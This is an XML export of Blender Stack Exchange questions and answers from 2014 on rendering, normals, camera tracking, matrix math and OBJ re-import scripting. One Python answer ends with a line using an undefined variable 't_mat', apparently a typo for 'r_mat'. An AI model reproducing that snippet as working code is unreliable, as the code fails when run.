  <row Id="10701" PostTypeId="1" AcceptedAnswerId="10872" CreationDate="2014-05-25T21:49:44.397" Score="0" ViewCount="99" Body="&lt;p&gt;In blender version 2.69 and 2.70 and 2.70a the menus have no background and I can't find out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is most likely system-problem; not a direct Blender3D issue because this error happened when I updated to Linux Mint 16.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that some library (python?) version causes this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching for two days without any hint regarding this error so a little help/hint is appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WwOLk.png&quot; alt=&quot;Menus with no background&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9nwN.png&quot; alt=&quot;User pref with missing parts&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3621" LastEditorUserId="32220" LastEditDate="2019-01-08T22:48:47.720" LastActivityDate="2019-01-08T22:48:47.720" Title="Menus without background and user pref have parts missing" Tags="&lt;interface&gt;&lt;linux&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2014-06-01T19:18:45.767" ContentLicense="CC BY-SA 4.0" />
  <row Id="10702" PostTypeId="2" ParentId="10699" CreationDate="2014-05-25T22:22:21.890" Score="5" Body="&lt;p&gt;&lt;strong&gt;First some information:&lt;/strong&gt; (skip if tl;dr)&lt;br&gt;&#xA;For matrices in general the inverse should actually be what you are looking for, since the inverse of a matrix exactly undoes the transformation of the matrix. And (at least in 3D) for orthonormal matrices (1) like the rotation matrix the inverse is equal to the transposed matrix. Since transposing a matrix is much faster than inverting it, I would use the transposed matrix in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However matrix_world is the so-called World-Matrix, which does not only contain the object's rotation but also its translation and scale. Furthermore it is a matrix that works in &lt;a href=&quot;https://en.wikipedia.org/wiki/Homogeneous_coordinates#Use_in_computer_graphics&quot; rel=&quot;noreferrer&quot;&gt;4D homogenuous coordinates&lt;/a&gt;, which are often used in computer graphics because they allow you to perform translations and perspective transformations with matrices. You can usualy not work with this matrix directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) matrices whose column vectors are normalized and orthogonal to each other&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt;&lt;br&gt;&#xA;You were on the right track with decompose. However decompose gives you the rotation as a Quaternion, not as a rotation matrix. But you can invert quaternions as well and use them for your calculation.&lt;br&gt;&#xA;If you really need a matrix you can convert the quaternion to a matrix by calling &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html?highlight=mathutils#mathutils.Quaternion.to_matrix&quot; rel=&quot;noreferrer&quot;&gt;mathutils.Quaternion.to_matrix()&lt;/a&gt;. This will give you a 3D matrix which you can invert or transpose to get what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how you can get all that stuff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o = bpy.context.scene.objects['Cube']  # use your object name here&#xA;# calculate the translation, rotation and scale&#xA;t, r, s = o.matrix_world.decompose()&#xA;# calculate the inverse quaternion&#xA;r_inv = r.inverted()&#xA;# calculate the rotation matrix from the quaternion&#xA;r_mat = r.to_matrix()&#xA;# calculate the inverse rotation matrix&#xA;r_mat_inv = r_mat.inverted()&#xA;# calculate the transposed rotation matrix which is the same as the inverted&#xA;r_mat_transposed = t_mat.transposed()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now take what you need ;)&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-25T22:22:21.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostTypeId="1" AcceptedAnswerId="10707" CreationDate="2014-05-25T22:39:20.990" Score="6" ViewCount="10237" Body="&lt;p&gt;I have created a simple grass scene with materials created in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYisW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to render this image with an alpha mask and without any lighting. How would I do it?&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="2217" LastEditDate="2014-07-04T21:12:04.140" LastActivityDate="2014-07-04T21:12:04.140" Title="How to render an orthographic image with an alpha mask in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostTypeId="2" ParentId="10650" CreationDate="2014-05-25T23:08:09.520" Score="14" Body="&lt;p&gt;&lt;strong&gt;Update for posterity:&lt;/strong&gt; An archive of this answer can be found at &lt;a href=&quot;https://bvisness.me/2017/04/25/blender-masking-layers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bvisness.me/2017/04/25/blender-masking-layers.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Blender has a feature called Masking Layers, which nicely accomplish exactly what you're trying to do. Put your content cube on one layer and your masking plane on another, then set the Masking Layer for the plane's layer. I got my result to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQtjQ.jpg&quot; alt=&quot;Final render of a cube set into the floor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to accomplish that effect:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Set up your layers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Start by turning on transparent film. This makes your Cycles render layers use transparency instead of a background color. Go to the Render panel in the Properties window, scroll down to Film, and check Transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put your cube (or other content) on one layer and your masking plane on another. I had my cube on layer &lt;img src=&quot;https://i.stack.imgur.com/FaoCg.png&quot; alt=&quot;layer 1&quot;&gt; and my plane on layer &lt;img src=&quot;https://i.stack.imgur.com/VQorz.png&quot; alt=&quot;layer 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that both your cube and your plane are visible, then go over to the Render Layers tab and set the mask layer to the layer with your plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ER2Iz.png&quot; alt=&quot;The correct setup for the render layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overlay the render on your image, you can use a compositing setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYOUg.png&quot; alt=&quot;Simple composite setup to overlay the render on the image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a render, and you'll get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7uCB.jpg&quot; alt=&quot;First render, with pretty bad lighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technically answers your question, but it looks really bad, so I'm gonna keep going.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Add shadows and AO&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use your masking plane to capture shadows and AO as well. First add another render layer for just your masking plane. Go down into the &quot;Passes&quot; tab and make sure that Shadows and AO are checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G3Jif.png&quot; alt=&quot;Shadows and AO must be checked on the new render layer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use a composite setup like this to mix the shadows and apply them to the original image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUA75.png&quot; alt=&quot;A complicated composite setup&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in a render like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CQfKj.jpg&quot; alt=&quot;A much better render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just one more step, if you want the lighting to be more accurate:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Make the floor material match the picture&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can improve the lighting accuracy if you make the floor material match the picture. This will change the color of the light bounces, even though the plane itself is not actually visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a material with a node setup like this and assign it to the floor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/liD2Z.png&quot; alt=&quot;A good material node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This material will use the coordinates of the window to apply the picture to the floor. This means that there will be no distortion of the texture when it is rendered. This change will result in a subtly improved render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bGxlu.jpg&quot; alt=&quot;The final render&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This technique works for other objects too. Just replace the cube with whatever object you actually want in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9haLC.jpg&quot; alt=&quot;A monkey!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Anyway, I hope that helps. Let me know if you want me to clarify anything.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastEditorUserId="3181" LastEditDate="2017-04-25T14:36:16.533" LastActivityDate="2017-04-25T14:36:16.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10706" PostTypeId="2" ParentId="10701" CreationDate="2014-05-25T23:11:19.713" Score="2" Body="&lt;p&gt;Check your blender user preferences. Under the Themes tab in the user preferences go to the &lt;code&gt;User Interface&lt;/code&gt; settings. Then scroll down to the item that says &lt;em&gt;Menu Back:&lt;/em&gt;, check if the &lt;em&gt;Inner:&lt;/em&gt; color has any alpha. If that is at 0 then that is your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also If you scroll all the way down on that same page you will come to a item called &lt;em&gt;Menu shadow:&lt;/em&gt; Check if that is above 0, and that the size is above 0px. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these two did not help then it is a bug with your system.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/91503.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/91503.png&quot; alt=&quot;Blender User Prefences&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-05-25T23:11:19.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostTypeId="2" ParentId="10703" CreationDate="2014-05-25T23:20:29.513" Score="8" Body="&lt;p&gt;Set the camera to Orthographic view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9nDe6.png&quot; alt=&quot;cmaera settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then render it as a &lt;em&gt;PNG&lt;/em&gt; with RGBA.&lt;br&gt;&#xA;Under the &lt;em&gt;Film&lt;/em&gt; tab check the check mark for &lt;em&gt;transparent&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmDTI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you need separate black and white image for the alpha mask.&lt;br&gt;&#xA;Go to the compositer. Plug the &lt;em&gt;Alpha&lt;/em&gt; from the render layer in to the &lt;em&gt;Image&lt;/em&gt; socket of the &lt;em&gt;Composite&lt;/em&gt; node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mhnCk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-25T23:31:37.537" LastActivityDate="2014-05-25T23:31:37.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostTypeId="2" ParentId="10698" CreationDate="2014-05-26T00:57:07.077" Score="3" Body="&lt;p&gt;If all your trackers are the floor use the &quot;set X axis&quot; and &quot;set Y axis&quot; and redo &quot;setup tracking scene&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better if you had a few trackers on the wall or fence and you'd set those as &quot;wall&quot; in the orientation tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/907MU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can manually re-orient your solved scene&lt;/strong&gt; in the 3D viewport by rotating  the camera. Just select the camera rotate it about 90 degrees on X. The trackers are parented to the camera, so they will follow all movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RhOMR.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhOMR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a good camera solve (with errors under 0.3) it shouldn't be difficult to line all of your tracker marks at 0 on the z axis on a side or front view as they should be in one plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the camera is solved but nor oriented correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kBvv9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually rotating the camera to bring the right orientation (note the tracking points at the side view at the bottom, those are trackers placed on the ground):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Z4ml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bringing the camera down to make the trackers on the ground be roughly at 0 on the Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g01Jb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-07-18T14:56:22.837" LastActivityDate="2016-07-18T14:56:22.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostTypeId="1" AcceptedAnswerId="10715" CreationDate="2014-05-26T01:32:20.493" Score="2" ViewCount="3175" Body="&lt;p&gt;I have an obj created from Qubicle Constructor.  I am able to import this into Blender just fine.  The workflow I want is modeling in Qubicle and animation in Blender.  I then try and make changes to my model and export again and then import again into blender but I get suplicate objects in my blender scene.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, on the first import I may have a mesh called &quot;Calf_Left&quot;, after re-import I get &quot;Calf_Left.001&quot;.  Is there a way to get this worklow to not create duplicate meshes and instead just replace whats there if if finds one with the same name?&lt;/p&gt;&#xA;" OwnerUserId="3632" LastActivityDate="2014-05-28T09:49:11.517" Title="Re-Import obj and replace existing" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10710" PostTypeId="2" ParentId="644" CreationDate="2014-05-26T01:50:02.133" Score="5" Body="&lt;p&gt;For using a laptop, if the &lt;kbd&gt;Numpad .&lt;/kbd&gt; doesn't do anything, turn off auto perspective mode in user preferences and turn off perspective mode with &lt;kbd&gt;Numpad 5&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qiSFM.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/srcoV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3633" LastEditorUserId="3633" LastEditDate="2014-06-07T07:22:30.290" LastActivityDate="2014-06-07T07:22:30.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10711" PostTypeId="1" AcceptedAnswerId="10712" CreationDate="2014-05-26T03:28:23.440" Score="18" ViewCount="86724" Body="&lt;p&gt;How do I make the faces I am using for the leaves of the tree I am making double sided? Currently only one side appears, while looking at them from a different angle they disappear. The only solution I have read so far is to duplicate the face and then flip the normal so you essentially have two faces back to back, but I'd rather not do this because I am trying to keep my poly count low, these trees are for a game. &lt;/p&gt;&#xA;" OwnerUserId="3620" LastEditorUserId="29" LastEditDate="2014-05-26T06:47:19.100" LastActivityDate="2020-05-31T02:48:52.217" Title="Double Sided Faces" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostTypeId="2" ParentId="10711" CreationDate="2014-05-26T03:33:47.373" Score="12" Body="&lt;h2&gt;2.8&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In Blender 2.8 double sided normals are always-on by default, but if you want to turn them off (e.g. for export) you can enable &lt;em&gt;Backface Culling&lt;/em&gt; in your material's settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B1H6l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1H6l.png&quot; alt=&quot;r 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's up to the exporter to respect this setting, so this may not work for every format/exporter.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2.7&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a game, I think that duplicating and flipping the normals is probably the best way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering double sided faces real-time can be very expensive, often more expensive than drawing the extra geometry.&#xA;Of course, it depends on the engine, so the best thing is to try it and see which works better.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;em&gt;Double sided&lt;/em&gt; in &lt;em&gt;Properties &gt; Object Data &gt; Normals&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jKKWp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKKWp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2020-05-31T02:48:52.217" LastActivityDate="2020-05-31T02:48:52.217" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="10713" PostTypeId="2" ParentId="10697" CreationDate="2014-05-26T06:43:59.390" Score="1" Body="&lt;p&gt;To let the bolts appear on each side you could you would need to setup the geometry for your child object like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqHKc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let the bolts be duplicated from a smaller object so that the dups have an offset to corners of the actual object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pGlkR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oDpLg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-26T06:43:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostTypeId="2" ParentId="10697" CreationDate="2014-05-26T06:48:44.323" Score="1" Body="&lt;p&gt;With duplication set to verts, the objects are oriented the same as the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dZoNy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When duplication is set to faces, the objects are oriented by the face normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oUivE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the normals direction of selected faces by choosing Flip Normals under Mesh-&gt;Normals, or use the shortcuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to set them to face out or in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGvNd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also turn on the display of the normals in edit mode under Mesh Display in the properties sidebar &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMGnB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have the bolts displayed at the corner of the cube but still control the direction create another mesh to do the duplication with small faces in place that isn't rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M9q94.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-26T06:48:44.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostTypeId="2" ParentId="10709" CreationDate="2014-05-26T08:33:27.137" Score="4" Body="&lt;p&gt;You could import your externally created models into separate .blend files and link them into a master .blend file containing the scene instead of directly importing them. This way the linked files can be refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnIU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded a working sample &lt;a href=&quot;http://www.filedropper.com/obj&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;: The script should not be started from your scene file it first deletes all content. You would need to invoke it from command line see: &#xA;Put the following command in a batch file &lt;code&gt;conv.bat&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot;  --background --python batch_convert.py&#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the python script in batch_convert.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;# put the location to the folder where the objs are located here in this fashion&#xA;path_to_obj_dir = os.path.join('C:\\', 'OBJ')&#xA;&#xA;# get list of all files in directory&#xA;file_list = os.listdir(path_to_obj_dir)&#xA;&#xA;# get a list of files ending in 'obj'&#xA;obj_list = [item for item in file_list if item[-3:] == 'obj']&#xA;&#xA;# loop through the strings in obj_list &#xA;for item in obj_list:&#xA;    # select all object&#xA;    bpy.ops.object.select_all(action='SELECT')&#xA;    # delete selected&#xA;    bpy.ops.object.delete(use_global=True)&#xA;    # import obj&#xA;    path_to_import = os.path.join(path_to_obj_dir, item)&#xA;    bpy.ops.import_scene.obj(filepath = path_to_import)&#xA;    # rename&#xA;    for obj in bpy.context.selected_objects:&#xA;        obj.name = item[:-4]&#xA;        print(dir(obj))&#xA;&#xA;&#xA;    # write blend&#xA;    path_to_export = os.path.join(path_to_obj_dir, item[:-4] + &quot;.blend&quot;)&#xA;    print(path_to_export)&#xA;    bpy.ops.wm.save_as_mainfile(filepath=path_to_export, check_existing=False )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After exporting an .obj you would only run the batch file and the linked .blend files will be updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6302/how-do-i-reload-a-linked-blender-file&quot;&gt;How do I reload a linked blender file?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookie.com/blender/2010/07/12/tip-appending-and-linking/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Tutorial on appending and linking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki Linked_Libraries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-05-28T09:49:11.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostTypeId="2" ParentId="10709" CreationDate="2014-05-26T08:44:33.300" Score="0" Body="&lt;p&gt;Since you're want to replace the object you are revising, one object is to delete the object you're going to replace before you import the revised version. Or, if for some reason you want to keep the older version, you could rename calf to calf.001 before you reimport.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-26T08:44:33.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostTypeId="2" ParentId="10700" CreationDate="2014-05-26T09:07:02.943" Score="4" Body="&lt;p&gt;Vertex normals are the interpolated face normals, you can easily check this by activating normal display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ugQZt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and delete all vertices but one. It keeps the old interpolated value of the normal but no matter how you change the orientation the normal wouldn't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Mesh_Structures&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki on Mesh Structures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-26T09:07:02.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10719" PostTypeId="2" ParentId="10680" CreationDate="2014-05-26T09:18:20.997" Score="4" Body="&lt;p&gt;To get an object rotating at a constant rate you need to set two keyframes to define the speed of rotation then set the keyframe interpolation type to linear and the channels extrapolation mode to linear. This gives a constant rotation without speed variation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtKQV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get another gear rotating in time with the main gear it is easy to setup a Transformation constraint. This constraint allows you to copy a rotation proportionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgZv8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have the source rotating &lt;code&gt;-120&lt;/code&gt; and the destination rotating &lt;code&gt;360&lt;/code&gt;. The key to having it rotate continuously is to tick the extrapolate check box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FiVrF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-26T09:18:20.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostTypeId="1" AcceptedAnswerId="10736" CreationDate="2014-05-26T10:29:25.053" Score="7" ViewCount="2268" Body="&lt;p&gt;I know how to add the output of node composition to the VSE (add 'Scene'), but can I do the oposite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to post-process my video sequence with a filter only available as a node (Stabilize) without pre-rendering it to a file first, because it would deminish quality and waste hard drive space and processing time. Can this be done? Or is the order (3D Scene -&gt; Node composition -&gt; VSE) fixed?&lt;/p&gt;&#xA;" OwnerUserId="3624" LastActivityDate="2015-11-27T01:10:48.287" Title="Can I add the output of the VSE as input to the node diagram?" Tags="&lt;video-sequence-editor&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
